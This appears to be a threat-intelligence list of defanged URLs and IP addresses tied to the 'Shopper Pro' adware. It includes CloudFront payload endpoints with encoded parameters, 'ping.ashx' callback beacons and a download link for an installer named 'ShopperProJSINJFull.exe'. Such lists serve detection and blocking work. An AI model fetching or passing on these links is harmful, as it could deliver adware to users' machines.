hxxp://d2sfi55f1s20qk.cloudfront.net/12895.ashx?e=sf5RTiQoQnef05G2dnM6gMMdEYretVH0jA5kVqVgWdD8SaNRCRsmETynsL3GEE9TUW7/SYAj5QMPJTqkAn/Sqws3daRPpTCUycqhWdqhet8z6jryDQdl/7iKIFo3W8f2R2rQBtDpW51ZEkwaxhOT SS94ivFXiTaGK5E2bFODYYoPfCrfVvRJhQC drCF7eFW4i9HDfAHxSn58ZndcT3u/P8mddpznAd5QFz/uOguqr3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0ZhyznN75nI7N3JQ8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63ybiCNsp2cHm	54.230.202.168
hxxp://d2sfi55f1s20qk.cloudfront.net/p.ashx?e=LCnUzM5l8JJsK0lFUFVJ7 LyPyzo0umu2kszt4ETYAl4E7mrr1h80sSCFqUzxEuK5pBCt6gYiqqnm/0RnoY4Wt00NztRBE6cYCpHZc9ZUaH6MIOzDij/FhQC drCF7eF njmPLTFBJTHZ0SBJrLapv5CRHcVePUj6EQb8iyo3pFJiZJGf0oLE2Z3mfWYaJTmmEwfMvfDkwyt3bdINAG8Bj6mgHODYERpZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmDIiEjH/COSSg==	54.230.202.168
hxxp://d1vw44q53d84jx.cloudfront.net/t.ashx?e=Feo0TQZfu6KSwU3ck0Ywnu6XO 6uR0y1rTZxZT/0apNAXdQqxJ1va3sc7hbJtTJH b/YhL9w2PTXoMXpqBnYfbVvgcpeW1zDd/XCztdoPbIiDxPRY4o5upR90anDedSCpjurIyC9QLD3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22OWbU/CGmJ5Yn	54.230.200.130
hxxp://d2sfi55f1s20qk.cloudfront.net/p.ashx?e=hWfaA75NtHGgFyq1UqA1LYduf7GeaOfNsg7jyZ2P5QEd2u58kk/k/Q1XyCbetQQ4OFMWIH8tWhfHsP81YNOEhEyKEnCf7vECisrImanoEL69iLFR6fZRo0AwivYxPBFHXS/G3EQZqX1I07m/8d9H/7SveW4 k4NaLhu0b45kiT/SiuwmdYQ9dwenF3E77x/HKYX3Ti/i3YP dzgnUBx9/Wjc3bWflJqtv R58jhZDUvHJC LVSJKV6syuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tTa/RmnbFycn/MCQQDL/agc83DGmT1vL7mOIqtr/iP3PhRM1E0AOBA7mbc LNSD go=	54.230.202.168
hxxp://d2sfi55f1s20qk.cloudfront.net/p.ashx?e=hWfaA75NtHGgFyq1UqA1LYduf7GeaOfNsg7jyZ2P5QEd2u58kk/k/Q1XyCbetQQ4OFMWIH8tWhfHsP81YNOEhEyKEnCf7vECisrImanoEL69iLFR6fZRo0AwivYxPBFHXS/G3EQZqX1I07m/8d9H/7SveW4 k4NaLhu0b45kiT/VnFVL/bsGoNCUHeR8YCF313OfQWxYQIj9DDxdB8IX3/IOb5O/qAEzZrdGZ5CXclXYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvanZg GKSxq5XHsP81YNOEhEyKEnCf7vECisrImanoEL69iLFR6fZRowJxLy8Rm 8l	54.230.202.168
hxxp://1fq670-su78sj1t.netdna-ssl.com/ShopperProJSINJFull.exe	198.232.124.192
hxxp://d2sfi55f1s20qk.cloudfront.net/12895.ashx?e=043Mckb8Lnj5nRk39lR6RYduf7GeaOfNoOZ8Vy4PwRAQyol6Hp9Rdg0/niVdnGaSOFMWIH8tWhfHsP81YNOEhEyKEnCf7vECisrImanoEL69iLFR6fZRo0AwivYxPBFHA38xLFtVk1NswOK6/sALrSWwaEnR7xgwaJkIKvOmtNBWOvghCBTr/TdVMo67fxO0s IILilpWF1BbRAuIV9iXcyQG/8 9KQlZQnfaLo2Y6vG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l4rtrWyhaWBtd3 uKF6e7H181XMstzEWN0GMkWwl748xuHRUPzU7mvNY8ojP9wctSvrRmpLiCB02	54.230.202.168
hxxp://d2sfi55f1s20qk.cloudfront.net/p.ashx?e=hWfaA75NtHGgFyq1UqA1LYduf7GeaOfNsg7jyZ2P5QEd2u58kk/k/Q1XyCbetQQ4OFMWIH8tWhfHsP81YNOEhEyKEnCf7vECisrImanoEL69iLFR6fZRo0AwivYxPBFHXS/G3EQZqX1I07m/8d9H/7SveW4 k4NaLhu0b45kiT/GBdpOSxhWVkVmCwhd6chxMOD1JqSN m18xc 6SBXrc4qYyeeQ3tOz2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2p2YPhiksauVx7D/NWDThIRMihJwn 7xAorKyJmp6BC vYixUen2UaMCcS8vEZvvJQ==	54.230.202.168
hxxp://d2sfi55f1s20qk.cloudfront.net/12895.ashx?e=043Mckb8Lnj5nRk39lR6RYduf7GeaOfNoOZ8Vy4PwRAQyol6Hp9Rdg0/niVdnGaSOFMWIH8tWhfHsP81YNOEhEyKEnCf7vECisrImanoEL69iLFR6fZRo0AwivYxPBFHA38xLFtVk1NswOK6/sALrSWwaEnR7xgwaJkIKvOmtNACFMPu/XF4LhJgZ hNipe8AhwsRGINruh3JLgG5QML1bdfZ/rXose/qzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1Nr9GadsXJyf8wJBAMv9qBzzcMaZPW8vuY4iq2v I/c FEzUTQA4EDuZtz4s1IP6Cg==	54.230.202.168
hxxp://d2sfi55f1s20qk.cloudfront.net/p.ashx?e=hWfaA75NtHGgFyq1UqA1LYduf7GeaOfNsg7jyZ2P5QEd2u58kk/k/Q1XyCbetQQ4OFMWIH8tWhfHsP81YNOEhEyKEnCf7vECisrImanoEL69iLFR6fZRo0AwivYxPBFHXS/G3EQZqX1I07m/8d9H/7SveW4 k4NaLhu0b45kiT94pHMK6k0QKwTxIUcsgQ wzdQpwoYb2d3G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l4rtrWyhaWBtd3 uKF6e7H181XMstzEWN0GMkWwl748xuHRUPzU7mvNY8ojP9wctSvrRmpLiCB02	54.230.202.168
hxxp://d2sfi55f1s20qk.cloudfront.net/p.ashx?e=hWfaA75NtHGgFyq1UqA1LYduf7GeaOfNsg7jyZ2P5QEd2u58kk/k/Q1XyCbetQQ4OFMWIH8tWhfHsP81YNOEhEyKEnCf7vECisrImanoEL69iLFR6fZRo0AwivYxPBFHXS/G3EQZqX1I07m/8d9H/7SveW4 k4NaLhu0b45kiT/q965piIXltRQC drCF7eFysWDrahxHN1nWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UrOFpZLERjDKYAQkWl KJecj1mEjbWMPAZZWmyv2w9Pl8DAJatLB/sX	54.230.202.168
hxxp://d2sfi55f1s20qk.cloudfront.net/p.ashx?e=avvs8glXF/zulzvurkdMta02cWU/9GqTQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3DzDx9jQVYzJBjJFsJe PMbh0VD81O5rzWPKIz/cHLUpexu3zyafL16Sm/NUmuZILaKig fkRtZKGeDnufHXu7RoVOXLTxMppxBAEp0wLfKPr3Vpd156CrdCUHeR8YCF3eApPxgKLj6N6btWtv6UslJSmFiEuG/089S40a1ZjOWBZguxgnOukjtBEfG0/PwdpXwZhJEhXGlay571IekL8TPxyvzupEEgr3/q5YzclMBLvgWFQj2kcV7xyMWCiAT0j1cRPsgj09ATGWVswM3H0pJXsf5FShvnrBziLH2Qr4k1HhChPAVLtbIzfR1Le 9Ktyf006tOgHfjhzivM6sfBiPeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLOc3vmcjs3clDyU6pAJ/0qsLN3WkT6UwlMnKoVnaoXrfJuII2ynZweY=	54.230.202.168
hxxp://d2sfi55f1s20qk.cloudfront.net/p.ashx?e=avvs8glXF/zulzvurkdMta02cWU/9GqTQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3DzDx9jQVYzJBjJFsJe PMbh0VD81O5rzWPKIz/cHLUpexu3zyafL16Sm/NUmuZILaKig fkRtZKGeDnufHXu7RoVOXLTxMppnbJKYwPfuhAwwtn0cGcExBQC drCF7eFA85gupkG6porE8ANtsVzeGuFeofeewt/F/cWTWtK18pxfPPqf5kniuhyljEl5CCZniFfHVexMiakRR0NmOWSSOo/P jz2EcHP40kJQMKVZbKRjC4E7vSTS/np5um4urBp7yJ8dcNjz27n9CATVj9 V rk3e81mP0GgMAIK3odR5fq5N3vNZj9I0JuWqrkLjngaVLoCbAe5HS7fpTOHWndp4dRxqvgD9SqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1Nr9GadsXJyf8wJBAMv9qBzzcMaZPW8vuY4iq2v I/c FEzUTQA4EDuZtz4s1IP6Cg==	54.230.202.168
hxxp://d2sfi55f1s20qk.cloudfront.net/p.ashx?e=avvs8glXF/zulzvurkdMta02cWU/9GqTQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3DzDx9jQVYzJBjJFsJe PMbh0VD81O5rzWPKIz/cHLUpexu3zyafL16Sm/NUmuZILaKig fkRtZKGeDnufHXu7RoVOXLTxMppk0XByrlXk6WYShAYseyySxQC drCF7eFFzHXlUtGqMoYZB4BtbHc1/eJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLOc3vmcjs3clDyU6pAJ/0qsLN3WkT6UwlMnKoVnaoXrfJuII2ynZweY=	54.230.202.168
hxxp://d2sfi55f1s20qk.cloudfront.net/p.ashx?e=avvs8glXF/zulzvurkdMta02cWU/9GqTQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3DzDx9jQVYzJBjJFsJe PMbh0VD81O5rzWPKIz/cHLUpexu3zyafL16Sm/NUmuZILaKig fkRtZKGeDnufHXu7RoVOXLTxMppxBAEp0wLfKOcXM978RrvxgTxIUcsgQ w0eteH8KxBtakHX utQO2t7GJ7NLKRj9n2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2p2YPhiksauVx7D/NWDThIRMihJwn 7xAorKyJmp6BC vYixUen2UaMCcS8vEZvvJQ==	54.230.202.168
hxxp://d2sfi55f1s20qk.cloudfront.net/p.ashx?e=avvs8glXF/zulzvurkdMta02cWU/9GqTQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3DzDx9jQVYzJBjJFsJe PMbh0VD81O5rzWPKIz/cHLUpexu3zyafL16Sm/NUmuZILaKig fkRtZKGeDnufHXu7RoVOXLTxMppGxrTqW15vZAooxpS5ufgquJVjHmrT0TC9Izr/j1/43JBw5q/V 8gicVOgnEZemiTsynlrkkotjy Xl0kkFbOi1qVYqWbpOfn/D/n8UcWJqtGLHeikaP3tW1f h09PkKgkU9Qe7Lz8ZZBw5q/V 8gicVOgnEZemiTsynlrkkotjxf8h2zaTlq1WzIo4B599h71W7wXr9alHhFIL4F0X4fseztpW8th3Nh0K0sjaOfEW1B092xzGmdx9jHfHsw8mq7XigkLJX7XBGF7Qe2/p5heBnJKiwdbvejBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxL8TCYjPBiaNHAJhVganstyCA1hqBFSRfMm2RFYMv1QV2tgpGq8MXc4J8rnD0zDzgS	54.230.202.168
hxxp://d2sfi55f1s20qk.cloudfront.net/p.ashx?e=avvs8glXF/zulzvurkdMta02cWU/9GqTQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3DzDx9jQVYzJBjJFsJe PMbh0VD81O5rzWPKIz/cHLUpexu3zyafL16Sm/NUmuZILaKig fkRtZKGeDnufHXu7RoVOXLTxMppxBAEp0wLfKOWnHKXQ4ByT9CUHeR8YCF3cICI7/tQlejZeojEglKF4wTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS/EwmIzwYmjRwCYVYGp7LcggNYagRUkXzJtkRWDL9UFdrYKRqvDF3OCfK5w9Mw84Eg==	54.230.202.168
hxxp://d2sfi55f1s20qk.cloudfront.net/p.ashx?e=jLYfrKkKGYOf05G2dnM6gMMdEYretVH0jA5kVqVgWdCjhQZFyVkCwhtIkRVrgKLwUW7/SYAj5QMPJTqkAn/Sqws3daRPpTCUycqhWdqhet8z6jryDQdl/8SCFqUzxEuK5pBCt6gYiqqnm/0RnoY4Wt00NztRBE6cYCpHZc9ZUaGLbhvor/ikhRQC drCF7eFp6k7 V2K7ZUR9O8Mk8ZR2eIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1ZUmJkkZ/SgsTZneZ9ZholOaYTB8y98OTDK3dt0g0AbwGhrK97HxxAC0=	54.230.202.168
hxxp://d2sfi55f1s20qk.cloudfront.net/p.ashx?e=QHucCbLl /a3UIXclMT28rnjMnh 4VIhE4TSqwr5Own8ln8Iap23/2SGRkpEIbSdfl0yK7ww8bQ94V6p2b0iPoAQkWl KJecj1mEjbWMPAZZWmyv2w9PlybvQmbZnorvSOrYhj46XfQgpnHZJVLNW8M HGYhu8yV1qg9mP3gfJPb/7 kcvPCjjpeJfJMiPTs0JQd5HxgIXd/dqaEYXgO79I32qLmgkBzr0Y7vf0dioHxIkD535tYITCt8G2WWNXXjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701Lj6s3yV6l8413XZSkF1SfvAvZBqh0KVZHRTKfrgtZytF047tQXaDqtQ==	54.230.202.168
hxxp://d2sfi55f1s20qk.cloudfront.net/p.ashx?e=b1dRW7RxYKcVc8R/SQUwTJ/TkbZ2czqAytjeDMU4p9CMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovBRbv9JgCPlAw8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63zPqOvINB2X/xIIWpTPES4rmkEK3qBiKqqeb/RGehjhaz9EnoFhhtFxgKkdlz1lRocKxf5n vItbBDL0iBnLmUkphfdOL Ldgy/AIaTgB 3tjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701Lj6s3yV6l8413XZSkF1SfvAvZBqh0KVZHRTKfrgtZytF047tQXaDqtQ==	54.230.202.168
hxxp://d2sfi55f1s20qk.cloudfront.net/p.ashx?e=043Mckb8Lnj5nRk39lR6RYduf7GeaOfNoOZ8Vy4PwRAd2u58kk/k/Q1XyCbetQQ4OFMWIH8tWhfHsP81YNOEhEyKEnCf7vECisrImanoEL69iLFR6fZRo0AwivYxPBFHXS/G3EQZqX1I07m/8d9H/7SveW4 k4NaX4l9XCm/Va/RnP0Nx2OBM8ZzdmTcUAA7BPEhRyyBD7B8meHxUMSBFO3yRv1nYrxg2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2p2YPhiksauVx7D/NWDThIRMihJwn 7xAorKyJmp6BC vYixUen2UaMCcS8vEZvvJQ==	54.230.202.168
hxxp://rep.shopper-pro.com/app/ping.ashx?e=o4wkB1bL2nLulzvurkdMtSWStE4YVGSU 0R MP RL3UJOLXkS9L/h2bktPzt6FdqTvEC4JSYnM5Hrq9z7MTeCvRfDwdUdUtgoG1 4r8On3InYBfPcNQB96JUqayHJ5ShmDwm9U8stHwyKW2q8nI5uATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3cXZ8qiEfUAdCKcmVALQndI8ew/zVg04SETIoScJ/u8QKKysiZqegQvr2IsVHp9lGjGzsLCGvLvdcfJKZ4NCKSCQ==	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=Ka qOJkckoXJDC3MBqZhBghItqjlUgVa3wBxlndAVdcSZTerw9Y85dVUaX7QH4bytNUutjdaeNq2XevNeS4vewsQkLH VK3/H0yP7jN9/LspGxsI2Q6AGNtgpjL3X7N9nl1xOKDZuhXrGiiXWYz3Nusz9pYl4sSxjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9ty8ph h1ipV8PAw5Lp1Y428wJBAMv9qBzzcMaZPW8vuY4iq2v I/c FEzUTQA4EDvEYinCHDiBd8AeXrDcfXn1	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=Ka qOJkckoXJDC3MBqZhBghItqjlUgVa3wBxlndAVdcSZTerw9Y85dVUaX7QH4bytNUutjdaeNq2XevNeS4vewsQkLH VK3/H0yP7jN9/LspGxsI2Q6AGG188caoXin7Wjwfqp7MHxEi GVzQHau4wOxpFqMx/dgEgdSwAOGV2MTYEO06dsSGpcqzYlCT OpqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGwUbmkSx2150mJkkZ/SgsTZneZ9ZholOaYTB8y98OTDK3dt0g0AbwGU3HAguasLH1O8SsEd1vQGPfwqbgkyABd	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=o4wkB1bL2nLulzvurkdMtSWStE4YVGSU 0R MP RL3UJOLXkS9L/h2bktPzt6FdqTvEC4JSYnM5Hrq9z7MTeCvRfDwdUdUtgoG1 4r8On3JnXw6eRR27vEQ5JRrthzer 1KrJEVAOY1CjWeJCGbPq69t7URjkW8nxeuVAFPAdPfAJhVganstyCA1hqBFSRfMm2RFYMv1QV2tgpGq8MXc4MEXPaFwRgefYeeO3me1TXZFx/2xcaGYCHyIpdJSklgCxW20GZ81oXcWMQ1BN/ Lt4sKLU3NDKjiEPV6TLtyTTjiZex9KrXTvPUmU8pxp4SZgE9L8wai8UDg/yVe4Z/h4obfQeCZJmDfQ3SGYOTb0QsR0xabMkbgoEuGoedNVFAuIR1sKxPFdTcPMPH2NBVjMkGMkWwl748xuHRUPzU7mvNY8ojP9wctShNKc/l2U9fg7jw/B3lonR7Fe48U53GZBKsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRsFG5pEsdtedJiZJGf0oLE2Z3mfWYaJTmmEwfMvfDkwyt3bdINAG8BlNxwILmrCx9TvErBHdb0Bj38Km4JMgAXQ==	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=Ka qOJkckoXJDC3MBqZhBghItqjlUgVa3wBxlndAVdcSZTerw9Y85dVUaX7QH4bytNUutjdaeNq2XevNeS4vewsQkLH VK3/H0yP7jN9/LspGxsI2Q6AGG188caoXin7Wjwfqp7MHxFeqRIU2Wz5FvVqYNFaQMtWTt1BChYB6OEQSIy21hLngDYDbpKgQdEF9cIpytU0y3LG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l6AwGw39X SPj6s3yV6l8413XZSkF1SfvAvZBqh0KVZHRTKfrgtZytF047tQXaDqtQFKvbxhXJ8 DxJ w6ryxW8=	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=Ka qOJkckoXJDC3MBqZhBghItqjlUgVa3wBxlndAVdcSZTerw9Y85dVUaX7QH4bytNUutjdaeNq2XevNeS4vewsQkLH VK3/H0yP7jN9/LspGxsI2Q6AGG188caoXin7Wjwfqp7MHxEi GVzQHau40lAwJN0gBwYgzaR8R5kiUwHziGOgUEYWqsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRsFG5pEsdtedJiZJGf0oLE2Z3mfWYaJTmmEwfMvfDkwyt3bdINAG8BlNxwILmrCx9TvErBHdb0Bj38Km4JMgAXQ==	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=Ka qOJkckoXJDC3MBqZhBghItqjlUgVa3wBxlndAVdcSZTerw9Y85dVUaX7QH4bytNUutjdaeNq2XevNeS4vewsQkLH VK3/H0yP7jN9/LspGxsI2Q6AGJ7YhSsSCMsm 6AzHfghR9HM4JIvtQF427XVMSBQRUB7BPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dxdnyqIR9QB0IpyZUAtCd0jx7D/NWDThIRMihJwn 7xAorKyJmp6BC vYixUen2UaMbOwsIa8u91x8kpng0IpIJ	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=/1ietnsFWJif05G2dnM6gK3WGopi1tI92YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrVTOts69f7XHQAxIlXsFUXlLthDcNxgsiLpzqqyVmBFvU2Z1SyzBY81o8H6qezB8RqTFlxlzn4VIl8JkmZ/Wy9wpDKX/a3tH594khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjkZtVgFRKAib8XrlQBTwHT3wCYVYGp7LcggNYagRUkXzJtkRWDL9UFdrYKRqvDF3OC5qscp OCRK6au9xWXQx//	54.197.238.106
hxxp://d2sfi55f1s20qk.cloudfront.net/p.ashx?e=obiBp3WOda9PNjxRBLtb43 uoGbc9PjB/WD6e6SZIIGq9exvwYRubwRSl12vCJvFUaBgE/HaVF3AJhVganstyCA1hqBFSRfMm2RFYMv1QV2tgpGq8MXc4IZf1LqK7dF9 b/YhL9w2PTXoMXpqBnYfbVvgcpeW1zD5i6K0mlT5TWz8LjnD4BZNQQy9IgZy5lJKYX3Ti/i3YNYlTZYFVSl7BQeC5LF6ah0oNS9YmzSzvlne8sUdluIdR/Kp5gsiu7 yQUz6dheYMQvjIa5KtPcv0GwORpUjcC7pLVWI/1cgTJbEk4UnuKEOC ahcxApTUq7emB1plX 3KM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUuPqzfJXqXzjXddlKQXVJ 8C9kGqHQpVkdFMp uC1nK0XTju1BdoOq1	54.230.202.168
hxxp://d2sfi55f1s20qk.cloudfront.net/p.ashx?e=obiBp3WOda9PNjxRBLtb43 uoGbc9PjB/WD6e6SZIIGq9exvwYRubwRSl12vCJvFUaBgE/HaVF3AJhVganstyCA1hqBFSRfMm2RFYMv1QV2tgpGq8MXc4IZf1LqK7dF9 b/YhL9w2PTXoMXpqBnYfbVvgcpeW1zD5i6K0mlT5TW6pljsVW0GPgTxIUcsgQ wXg4f2W/FIIe57fKBs7R9TyVbkDkM9cyX4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlSYmSRn9KCxNmd5n1mGiU5phMHzL3w5MMrd23SDQBvAaGsr3sfHEALQ==	54.230.202.168
hxxp://d2sfi55f1s20qk.cloudfront.net/12895.ashx?e=XJYuqQQo69dBmScQe cMuOLyPyzo0umuE13rHoa9hTh4E7mrr1h80jmXqQawsZSOUA7dl9owwhJJiZJGf0oLE2Z3mfWYaJTmmEwfMvfDkwyt3bdINAG8BncPfxNFD/ ad56ymZ4o9xQb6x14lCSqs/5Ds6yGKCI6pynfaNYH8L TRcHKuVeTpTHue1RZyJkvyMpFjoih9vt3JLgG5QML1YoqYA4lDRxGC8Drt0aCEZ8psmZLci oo11FFwnVblZzh9Kw5QsIDqFTDvvWGrJMjBvGZUjN1fBZVWxYc i3eUoktpCioILhsqsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tTa/RmnbFycn/MCQQDL/agc83DGmT1vL7mOIqtr/iP3PhRM1E0AOBA7mbc LNSD go=	54.230.202.168
hxxp://d2sfi55f1s20qk.cloudfront.net/12895.ashx?e=XJYuqQQo69dBmScQe cMuOLyPyzo0umuE13rHoa9hTh4E7mrr1h80jmXqQawsZSOUA7dl9owwhJJiZJGf0oLE2Z3mfWYaJTmmEwfMvfDkwyt3bdINAG8BncPfxNFD/ ad56ymZ4o9xQb6x14lCSqs/5Ds6yGKCI6pynfaNYH8L/fV9OCtHXZfA3mXJEY39mHAhwsRGINruh3JLgG5QML1ZiKaU9wneZ7Og0HjHhWWOg7s3nxyonjvBxc81u2rgCm44UuTa3qd5D7MusukiOxFesStD0GefRoXwZfZunRVLss0HBZyMufOb6uN9Kjt Am94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcs5ze ZyOzdyUPJTqkAn/Sqws3daRPpTCUycqhWdqhet8m4gjbKdnB5g==	54.230.202.168
hxxp://rep.shopper-pro.com/app/ping.ashx?e=XJYuqQQo69dBmScQe cMuOLyPyzo0umuMV5rvWQh0tmRoZJTpqsyZxASc9FSZWyoWTYC2lEyeiS5RWeJcqy7RHOWB7p8fTxpZAwTHJGHWlAW3c/Ne6ORij0sajEdtXK5ho/QgOr9gQT2NRySioDRRrzTwCJRAS6WHcLb5rlPpW8m2J0WUeA93WyFYVCbp3 D94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjkZtVgFRKAib8XrlQBTwHT3wCYVYGp7LcggNYagRUkXzJtkRWDL9UFdrYKRqvDF3OD9g2NhkCQ/IKau9xWXQx//	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=XJYuqQQo69dBmScQe cMuOLyPyzo0umuMV5rvWQh0tmRoZJTpqsyZxASc9FSZWyoWTYC2lEyeiS5RWeJcqy7RHOWB7p8fTxpZAwTHJGHWlAW3c/Ne6ORij0sajEdtXK5ho/QgOr9gQT2NRySioDRRrzTwCJRAS6WGe3FkalM8N0mPRXV7cLSOWdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUPnN75nI7N3JQ8lOqQCf9KrCzd1pE lMJTJyqFZ2qF638Q2bUIan6JC4uZ/p4emFS336Kc9MtkO2A==	54.197.238.106
hxxp://d2sfi55f1s20qk.cloudfront.net/p.ashx?e=hNMAVKhukry7P4fECSsJwrnjMnh 4VIhLuUtzlm7/AT8ln8Iap23/2SGRkpEIbSdfl0yK7ww8bQ94V6p2b0iPoAQkWl KJecj1mEjbWMPAZZWmyv2w9PlybvQmbZnorvSOrYhj46XfQgpnHZJVLNW8M HGYhu8yVDIpWidYVXtF5ewo25xH dugxP4Tpn7X9BPEhRyyBD7ADYwDanr6NLoe9XigMTJMs0sa4f4Pfg2ziLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WVJiZJGf0oLE2Z3mfWYaJTmmEwfMvfDkwyt3bdINAG8Boayvex8cQAt	54.230.202.168
hxxp://rep.shopper-pro.com/app/ping.ashx?e=BSSQS1gsMUT4YOj/qSs/oGxMF4MLi3SHTEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkD5OatmcvVLhhP9XtYEB8KiVYntFJILYSQ/0x0rOdP8XXmz2ZWq7EeY4CjMIbuSmdGKzY45zi1OnWyB8eDAkaikyNo/Tb6k0OWO0o0lcgU2xnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYCYwZSN8LSVD5ze ZyOzdyUPJTqkAn/Sqws3daRPpTCUycqhWdqhet/ENm1CGp iQuLmf6eHphUt9 inPTLZDtg=	54.197.238.106
hxxp://d2sfi55f1s20qk.cloudfront.net/12895.ashx?e=vjRn qH YuPulzvurkdMteaHkvwiennMQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3DzDx9jQVYzJBjJFsJe PMbh0VD81O5rzWPKIz/cHLUpexu3zyafL11HmS0ZrngqaehpOqw6bJSLjAzOm8FoQAH6fyQqqsNTv1QHs3X92ilEqjHjRwH0s7BD4NsK07Wi5s IILilpWF0zwh6 kBmZAvqDGgi/BDQb5pBCt6gYiqqQwOkBsbXJRjz4pxZKLL7/a0RCgbXs/u1ilv6ykvr0VwgDjjE9zaqi7rjZ7kQENxfp /A/u61jEcbQ9M/8hK0AHtznjR2TecyrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLU2v0Zp2xcnJ/zAkEAy/2oHPNwxpk9by 5jiKra/4j9z4UTNRNADgQO5m3PizUg/oK	54.230.202.168
hxxp://d2sfi55f1s20qk.cloudfront.net/12895.ashx?e=vjRn qH YuPulzvurkdMteaHkvwiennMQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3DzDx9jQVYzJBjJFsJe PMbh0VD81O5rzWPKIz/cHLUpexu3zyafL11HmS0ZrngqaehpOqw6bJSLjAzOm8FoQAH6fyQqqsNTv1QHs3X92ilH4s2O1I39PFhQC drCF7eFc68xQtOPoFcSR18f3JnQLBWPynJnrFbZ2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2p2YPhiksauVx7D/NWDThIRMihJwn 7xAorKyJmp6BC vYixUen2UaMCcS8vEZvvJQ==	54.230.202.168
hxxp://rep.shopper-pro.com/app/ping.ashx?e=Ka qOJkckoWeZ6ieq0 M8O6XO 6uR0y1LE9g6MmGm r7RH4w/5EvdQk4teRL0v HZuS0/O3oV2pO8QLglJiczkeur3PsxN4K9F8PB1R1S2CgbX7ivw6fcoFF6f/a06pCWjwfqp7MHxGpMWXGXOfhUpfVTwYZZ42PrVKO0Ac9MLfiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmvDlvHUGzrBffNVzLLcxFjdBjJFsJe PMbh0VD81O5rzWPKIz/cHLUpqN65rjmRD/rVGG/Xal99ijhKIPjTcuiw=	54.197.238.106
